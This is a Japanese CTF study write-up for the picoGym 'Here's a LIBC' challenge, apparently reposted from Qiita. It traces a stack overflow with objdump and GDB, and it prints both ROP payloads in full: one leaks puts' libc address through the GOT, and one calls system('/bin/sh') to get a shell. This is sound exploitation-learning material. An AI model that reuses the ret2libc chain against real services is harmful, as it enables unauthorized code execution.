picoGym Practice Challenges Here's a LIBC を勉強した記録
picoGym Practice Challenges Here's a LIBC を題材に libcアドレスリークを勉強した記録。
Satoooon様,大変参考になりました。ありがとうございます。
libc leak
問題
入手できるデータは,
vuln
libc.so.6
Makefile
all:
gcc -Xlinker -rpath=./ -m64 -fno-stack-protector -no-pie -o vuln vuln.c
clean:
rm vuln
Satoooonの物置 で勉強
先生曰く「do_stuff関数にBOFがあるのでGOTからlibc leakしてret2vulnしてsystem("/bin/sh")して終わりです。」とのことだが,意味がさっぱりわからない。
先生のコードを追って勉強させていただく。
ROPの部品
pop_rdi = 0x0000000000400913
ret = 0x000000000040052e
pop rdi; ret ( 5f c3 ) を探す
$ objdump -d -M intel ./vuln | less
/ 5f
400912: 41 5f pop r15
400914: c3 ret
ret ( c3 ) を探す
$ objdump -d -M intel ./vuln | less
/ c3
40052e: c3 ret
bof
Segmentation fault となり,どこかにbofがある。
"A"の数はだいたい120 ~ 150
Ghidraでデコンパイルすると
WeLcOmE To mY EcHo sErVeR! の文字がmain関数内のstack stringsに見える。
43行目のputs(local_50);でWeLcOmE To mY EcHo sErVeR!を出力しているので,bofは,その下のdo_stuff関数にあることに間違いない。
main関数
gdb-peda$ pdisass
Dump of assembler code for function main:
0x0000000000400771 <+0>: push rbp
0x0000000000400772 <+1>: mov rbp,rsp
=> 0x0000000000400775 <+4>: push r15
0x0000000000400777 <+6>: push r14
0x0000000000400779 <+8>: push r13
0x000000000040077b <+10>: push r12
0x000000000040077d <+12>: sub rsp,0x60
0x0000000000400781 <+16>: mov DWORD PTR [rbp-0x74],edi
0x0000000000400784 <+19>: mov QWORD PTR [rbp-0x80],rsi
0x0000000000400788 <+23>: mov rax,QWORD PTR [rip+0x2008c1] # 0x601050 <stdout@@GLIBC_2.2.5>
0x000000000040078f <+30>: mov esi,0x0
0x0000000000400794 <+35>: mov rdi,rax
0x0000000000400797 <+38>: call 0x400560 <setbuf@plt>
0x000000000040079c <+43>: call 0x400570 <getegid@plt>
0x00000000004007a1 <+48>: mov DWORD PTR [rbp-0x2c],eax
0x00000000004007a4 <+51>: mov edx,DWORD PTR [rbp-0x2c]
0x00000000004007a7 <+54>: mov ecx,DWORD PTR [rbp-0x2c]
0x00000000004007aa <+57>: mov eax,DWORD PTR [rbp-0x2c]
0x00000000004007ad <+60>: mov esi,ecx
0x00000000004007af <+62>: mov edi,eax
0x00000000004007b1 <+64>: mov eax,0x0
0x00000000004007b6 <+69>: call 0x400550 <setresgid@plt>
0x00000000004007bb <+74>: mov QWORD PTR [rbp-0x38],0x1b
0x00000000004007c3 <+82>: movabs rax,0x20656d6f636c6557
0x00000000004007cd <+92>: movabs rdx,0x636520796d206f74
0x00000000004007d7 <+102>: mov QWORD PTR [rbp-0x70],rax
0x00000000004007db <+106>: mov QWORD PTR [rbp-0x68],rdx
0x00000000004007df <+110>: movabs rax,0x6576726573206f68
0x00000000004007e9 <+120>: mov QWORD PTR [rbp-0x60],rax
0x00000000004007ed <+124>: mov WORD PTR [rbp-0x58],0x2172
0x00000000004007f3 <+130>: mov BYTE PTR [rbp-0x56],0x0
0x00000000004007f7 <+134>: mov rax,QWORD PTR [rbp-0x38]
0x00000000004007fb <+138>: mov rdx,rax
0x00000000004007fe <+141>: sub rdx,0x1
0x0000000000400802 <+145>: mov QWORD PTR [rbp-0x40],rdx
0x0000000000400806 <+149>: mov r14,rax
0x0000000000400809 <+152>: mov r15d,0x0
0x000000000040080f <+158>: mov r12,rax
0x0000000000400812 <+161>: mov r13d,0x0
0x0000000000400818 <+167>: mov edx,0x10
0x000000000040081d <+172>: sub rdx,0x1
0x0000000000400821 <+176>: add rax,rdx
0x0000000000400824 <+179>: mov ecx,0x10
0x0000000000400829 <+184>: mov edx,0x0
0x000000000040082e <+189>: div rcx
0x0000000000400831 <+192>: imul rax,rax,0x10
0x0000000000400835 <+196>: sub rsp,rax
0x0000000000400838 <+199>: mov rax,rsp
0x000000000040083b <+202>: add rax,0x0
0x000000000040083f <+206>: mov QWORD PTR [rbp-0x48],rax
0x0000000000400843 <+210>: mov QWORD PTR [rbp-0x28],0x0
0x000000000040084b <+218>: jmp 0x400880 <main+271>
0x000000000040084d <+220>: lea rdx,[rbp-0x70]
0x0000000000400851 <+224>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400855 <+228>: add rax,rdx
0x0000000000400858 <+231>: movzx eax,BYTE PTR [rax]
0x000000000040085b <+234>: movsx eax,al
0x000000000040085e <+237>: mov rdx,QWORD PTR [rbp-0x28]
0x0000000000400862 <+241>: mov rsi,rdx
0x0000000000400865 <+244>: mov edi,eax
0x0000000000400867 <+246>: call 0x400677 <convert_case>
0x000000000040086c <+251>: mov ecx,eax
0x000000000040086e <+253>: mov rdx,QWORD PTR [rbp-0x48]
0x0000000000400872 <+257>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400876 <+261>: add rax,rdx
0x0000000000400879 <+264>: mov BYTE PTR [rax],cl
0x000000000040087b <+266>: add QWORD PTR [rbp-0x28],0x1
0x0000000000400880 <+271>: mov rax,QWORD PTR [rbp-0x28]
0x0000000000400884 <+275>: cmp rax,QWORD PTR [rbp-0x38]
0x0000000000400888 <+279>: jb 0x40084d <main+220>
0x000000000040088a <+281>: mov rax,QWORD PTR [rbp-0x48]
0x000000000040088e <+285>: mov rdi,rax
0x0000000000400891 <+288>: call 0x400540 <puts@plt>
0x0000000000400896 <+293>: mov eax,0x0
0x000000000040089b <+298>: call 0x4006d8 <do_stuff>
0x00000000004008a0 <+303>: jmp 0x400896 <main+293>
End of assembler dump.
do_stuff 関数の戻りアドレスは,0x4008a0
0x4008a0 を保持しているスタックのアドレスを確認する
gdb-peda$ b *0x000000000040089b
gdb-peda$ r
gdb-peda$ c
Breakpoint 2, 0x000000000040089b in main ()
gdb-peda$ si
[-------------------------------------code-------------------------------------]
0x4006d2 <convert_case+91>: movzx eax,BYTE PTR [rbp-0x4]
0x4006d6 <convert_case+95>: pop rbp
0x4006d7 <convert_case+96>: ret
=> 0x4006d8 <do_stuff>: push rbp
0x4006d9 <do_stuff+1>: mov rbp,rsp
0x4006dc <do_stuff+4>: sub rsp,0x90
0x4006e3 <do_stuff+11>: mov QWORD PTR [rbp-0x10],0x0
0x4006eb <do_stuff+19>: lea rax,[rbp-0x80]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe3c8 --> 0x4008a0 (<main+303>: jmp 0x400896 <main+293>)
0008| 0x7fffffffe3d0 ("WeLcOmE To mY EcHo sErVeR!")
0016| 0x7fffffffe3d8 ("To mY EcHo sErVeR!")
0024| 0x7fffffffe3e0 ("Ho sErVeR!")
0032| 0x7fffffffe3e8 --> 0x2152 ('R!')
0040| 0x7fffffffe3f0 --> 0x7fffffffe558 --> 0x7fffffffe796 ("/home/sita/share/vuln")
0048| 0x7fffffffe3f8 --> 0x100000000
0056| 0x7fffffffe400 ("Welcome to my echo server!")
[------------------------------------------------------------------------------]
0x4008a0 を保持しているスタックのアドレスは, 0x7fffffffe3c8 だ。
ブレークポイントをdo_stuff関数の戻りアドレス0x4008a0にしかけて,runする。
WeLcOmE To mY EcHo sErVeR!にAAAを入力
AaAに変換されている
gdb-peda$ b *0x00000000004008a0
Breakpoint 1 at 0x4008a0
gdb-peda$ r
WeLcOmE To mY EcHo sErVeR!
AAA
AaA
do_stuff関数の戻りアドレス 0x4008a0 が積まれているスタック 0x7fffffffe3c8
の上に積まれた "AAA" = 0x414141 をさがす -> ない
の上に積まれた "AaA" = 0x416141 をさがす -> あった
gdb-peda$ x/50xg 0x7fffffffe3c8 - 0x100
0x7fffffffe2c8: 0x000000000000001b 0x0000000000000000
0x7fffffffe2d8: 0x00007ffff7a6f473 0x0000000000000003
0x7fffffffe2e8: 0x00007ffff7dce760 0x00007fffffffe340
0x7fffffffe2f8: 0x00007ffff7a62bd2 0x0000000000000000
0x7fffffffe308: 0x0000000000000000 0x00007fffffffe3c0
0x7fffffffe318: 0x000000000000001b 0x0000000000000000
0x7fffffffe328: 0x000000000040076e 0x00007ffff7dce7e3
0x7fffffffe338: 0x0a007ffff7a6efc1 0x00007fff00416141 <--- ここ
0x7fffffffe348: 0x00007ffff7dce760 0x000000000000000a
0x7fffffffe358: 0x00007fffffffe3d0 0x00007ffff7dca2a0
0x7fffffffe368: 0x000000000000001b 0x0000000000000000
0x7fffffffe378: 0x00007ffff7a6f453 0x000000000000001a
0x7fffffffe388: 0x00007ffff7dce760 0x00007fffffffe3d0
0x7fffffffe398: 0x00007ffff7a62bd2 0x0000000000000000
0x7fffffffe3a8: 0x0000000000000000 0x0000000000000000
0x7fffffffe3b8: 0x0000000000000064 0x00007fffffffe470
0x7fffffffe3c8: 0x00000000004008a0 0x20456d4f634c6557
0x7fffffffe3d8: 0x634520596d206f54 0x6556724573206f48
0x7fffffffe3e8: 0x0000000000002152 0x00007fffffffe558
0x7fffffffe3f8: 0x0000000100000000 0x20656d6f636c6557
0x7fffffffe408: 0x636520796d206f74 0x6576726573206f68
0x7fffffffe418: 0x00007ffff7002172 0x00007fffffffe488
0x7fffffffe428: 0x00007fffffffe3d0 0x000000000000001a
0x7fffffffe438: 0x000000000000001b 0x00000000f7de3b40
0x7fffffffe448: 0x000000000000001b 0x0000000000400590
ret2plt で libcアドレスリーク
libcアドレスリークの部分のペイロードをlog.infoした
payload1 = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x13\t@\x00\x00\x00\x00\x00\x18\x10`\x00\x00\x00\x00\x00@\x05@\x00\x00\x00\x00\x00\xd8\x06@\x00\x00\x00\x00\x00'
"A"を除いた部分(スタックの上から)
\x13\t@\x00\x00\x00\x00\x00
0x400913
pop rdi; ret
\x18\x10`\x00\x00\x00\x00\x00
0x601018
$ objdump -d -M intel ./vuln | less
/ puts
0000000000400540 <puts@plt>:
400540: ff 25 d2 0a 20 00 jmp QWORD PTR [rip+0x200ad2] # 601018 <puts@GLIBC_2.2.5>
400546: 68 00 00 00 00 push 0x0
40054b: e9 e0 ff ff ff jmp 400530 <.plt>
putsのGOTアドレスだ
@\x05@\x00\x00\x00\x00\x00
0x400540
puts@plt
\xd8\x06@\x00\x00\x00\x00\x00
0x4006d8
$ objdump -d -M intel ./vuln | less
/ 4006d8
00000000004006d8 <do_stuff>:
4006d8: 55 push rbp
do_stuff の開始アドレスだ
bof1回目(libcリーク)のペイロード
+--------------------+
| pop rdi; ret |
+--------------------+
| putsのGOT |
+--------------------+
| puts@plt |
+--------------------+
| do_stuff |
+--------------------+
rdiレジスタに puts 引数として putsのGOT をセットし,puts を実行して puts の libcアドレスを標準出力に出力させる。
そして,2回目のbofのために,do_stuff を puts内のret からキックする。
(すごいわ)
リークした結果
log.infoしてみた
[*] libc_leak = 0x7ffa39735a30
[*] ??? = 0x80a30
[*] libc.address = 0x7ffa396b5000
libc_leak - ??? = libc.address で計算はあう。
???は何?
$ objdump -d -M intel ./libc.so.6 | less
/ IO_puts
0000000000080a30 <_IO_puts@@GLIBC_2.2.5>:
80a30: 41 55 push r13
80a32: 41 54 push r12
あった。問題で入手していた libc.so.6 の中の puts のアドレスだ。
ASLR (Address Space Layout Randomization)によって毎回変わるlibcのベースアドレスを
リークしたputsのアドレス - 静的なputsのアドレス
で求めたということか。
GOT と libc の関係図で私が何回も見ている資料
libcのベースアドレスはわかった。
次は何をするのか?
bof2回目
[*] payload2 = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.\x05@\x00\x00\x00\x00\x00\x13\t@\x00\x00\x00\x00\x00\xfa\x90\x869\xfa\x7f\x00\x00\xe0Dp9\xfa\x7f\x00\x00'
"A"を除いた部分(スタックの上から)
.\x05@\x00\x00\x00\x00\x00
0x40052e
ret
なんでいきなり ret なのか?
\x13\t@\x00\x00\x00\x00\x00
0x400913
pop rdi; ret
\xfa\x90\x869\xfa\x7f\x00\x00
0x7ffa398690fa
ベースとの差は,0x7ffa398690fa - 0x7ffa396b5000 = 0x1b40fa
バイナリエディタで libc.so.6 内の /bin/sh を検索すると
ビンゴじゃん。
\xe0Dp9\xfa\x7f\x00\x00
0x7ffa397044e0
ベースとの差は,0x7ffa397044e0 - 0x7ffa396b5000 = 0x4f4e0
$ objdump -d -M intel ./libc.so.6 | less
/ system
000000000004f4e0 <__libc_system@@GLIBC_PRIVATE>:
4f4e0: 48 85 ff test rdi,rdi
4f4e3: 74 0b je 4f4f0 <__libc_system@@GLIBC_PRIVATE+0x10>
4f4e5: e9 66 fa ff ff jmp 4ef50 <__strtold_nan@@GLIBC_PRIVATE+0xd0>
4f4ea: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0]
4f4f0: 48 8d 3d 0b 4c 16 00 lea rdi,[rip+0x164c0b] # 1b4102 <_libc_intl_domainname@@GLIBC_2.2.5+0x18e>
こちらもビンゴ
bof2回目(shellを奪う)のペイロード
+--------------------+
| ret |
+--------------------+
| pop rdi; ret |
+--------------------+
| ”/bin/sh” |
+--------------------+
| system() |
+--------------------+
頭の ret が意味不明だが,ほぼ解明完了。
頭の ret をとると動かない。
頭の ret は アライメントみたいだ。
Author And Source
この問題について(picoGym Practice Challenges Here's a LIBC を勉強した記録), 我々は、より多くの情報をここで見つけました https://qiita.com/housu_jp/items/bda8c1b0c85a0aa1ec04著者帰属:元の著者の情報は、元のURLに含まれています。著作権は原作者に属する。
Content is automatically searched and collected through network algorithms . If there is a violation . Please contact us . We will adjust (correct author information ,or delete content ) as soon as possible .